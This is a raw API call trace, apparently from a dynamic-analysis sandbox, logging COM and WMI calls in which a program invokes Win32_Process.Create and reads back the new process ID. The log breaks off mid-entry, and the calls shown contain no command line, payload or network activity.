0x0 [0124.634] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0124.634] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0124.634] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0124.634] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0124.634] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0124.634] IUnknown:AddRef (This=0x1b4d9110) returned 0x3 [0124.634] IWbemClassObject:Put (This=0x66e390, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d9110, varVal2=0x0), Type=0) returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656b70, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656cf0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetText (in: This=0x656cf0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.635] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0124.635] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0124.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511098) returned 0x0 [0124.635] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0124.635] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0124.635] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0124.635] WbemLocator:IUnknown:AddRef (This=0x1b511098) returned 0x3 [0124.635] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b511098) returned 0x0 [0124.635] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x3 [0124.635] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x2 [0124.635] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0124.635] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0124.636] IWbemServices:ExecMethod (in: This=0x1b4e02c0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x66e390, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x5f4590, ppCallResult=0x0) returned 0x0 [0124.758] IWbemClassObject:Get (in: This=0x5f4590, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cac90*=0, plFlavor=0x27cac94*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fc, varVal2=0x0), pType=0x27cac90*=19, plFlavor=0x27cac94*=0) returned 0x0 [0124.759] IWbemClassObject:Get (in: This=0x5f4590, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27cac90*=19, plFlavor=0x27cac94*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2fc, varVal2=0x0), pType=0x27cac90*=19, plFlavor=0x27cac94*=0) returned 0x0 [0124.759] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0124.759] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0124.759] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0124.759] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.760] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d2780) returned 0x0 [0124.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2780, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0124.760] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2780, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x6554f0) returned 0x0 [0124.760] WbemDefPath:IUnknown:Release (This=0x1b4d2780) returned 0x0 [0124.760] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x6554f0) returned 0x0 [0124.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0124.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0124.761] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0124.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0124.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0124.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2860) returned 0x0 [0124.761] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2860, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.761] WbemDefPath:IUnknown:Release (This=0x1b4d2860) returned 0x3 [0124.761] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0124.761] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0124.761] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0124.761] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0124.761] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0124.761] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0124.762] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0124.762] WbemDefPath:IUnknown:QueryInterface (in: This=0x6554f0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x6554f0) returned 0x0 [0124.762] WbemDefPath:IUnknown:AddRef (This=0x6554f0) returned 0x3 [0124.762] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x2 [0124.762] WbemDefPath:IWbemPath:SetText (This=0x6554f0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0124.762] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.762] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0124.762] WbemDefPath:IWbemPath:GetText (in: This=0x6554f0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0124.762] WbemDefPath:IWbemPath:GetInfo (in: This=0x6554f0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.762] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6554f0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.762] WbemDefPath:IWbemPath:GetInfo (in: This=0x6554f0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.762] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0124.762] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0124.763] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0124.763] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.766] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d2960) returned 0x0 [0124.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2960, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0124.766] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2960, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x6557f0) returned 0x0 [0124.766] WbemDefPath:IUnknown:Release (This=0x1b4d2960) returned 0x0 [0124.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x6557f0) returned 0x0 [0124.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0124.766] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0124.766] WbemDefPath:IUnknown:AddRef (This=0x6557f0) returned 0x3 [0124.767] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0124.767] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0124.767] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2880) returned 0x0 [0124.767] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2880, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.767] WbemDefPath:IUnknown:Release (This=0x1b4d2880) returned 0x3 [0124.767] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0124.767] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0124.767] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0124.767] WbemDefPath:IUnknown:Release (This=0x6557f0) returned 0x2 [0124.767] WbemDefPath:IUnknown:Release (This=0x6557f0) returned 0x1 [0124.767] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0124.767] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0124.767] WbemDefPath:IUnknown:QueryInterface (in: This=0x6557f0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x6557f0) returned 0x0 [0124.767] WbemDefPath:IUnknown:AddRef (This=0x6557f0) returned 0x3 [0124.767] WbemDefPath:IUnknown:Release (This=0x6557f0) returned 0x2 [0124.767] WbemDefPath:IWbemPath:SetText (This=0x6557f0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0124.767] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6557f0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.767] WbemDefPath:IWbemPath:GetText (in: This=0x6557f0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetText (in: This=0x6557f0, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetInfo (in: This=0x6557f0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6557f0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetInfo (in: This=0x6557f0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6557f0, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0124.768] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.768] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0124.768] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0124.768] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0124.768] IUnknown:Release (This=0x6124e8) returned 0x1 [0124.769] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d2d60) returned 0x0 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2d60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0124.769] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2d60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x655970) returned 0x0 [0124.769] WbemDefPath:IUnknown:Release (This=0x1b4d2d60) returned 0x0 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x655970) returned 0x0 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0124.769] WbemDefPath:IUnknown:AddRef (This=0x655970) returned 0x3 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0124.769] WbemDefPath:IUnknown:QueryInterface (in: This=0x655970, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d2780) returned 0x0 [0124.769] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2780, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.769] WbemDefPath:IUnknown:Release (This=0x1b4d2780) returned 0x3 [0124.769] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0124.769] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0124.770] 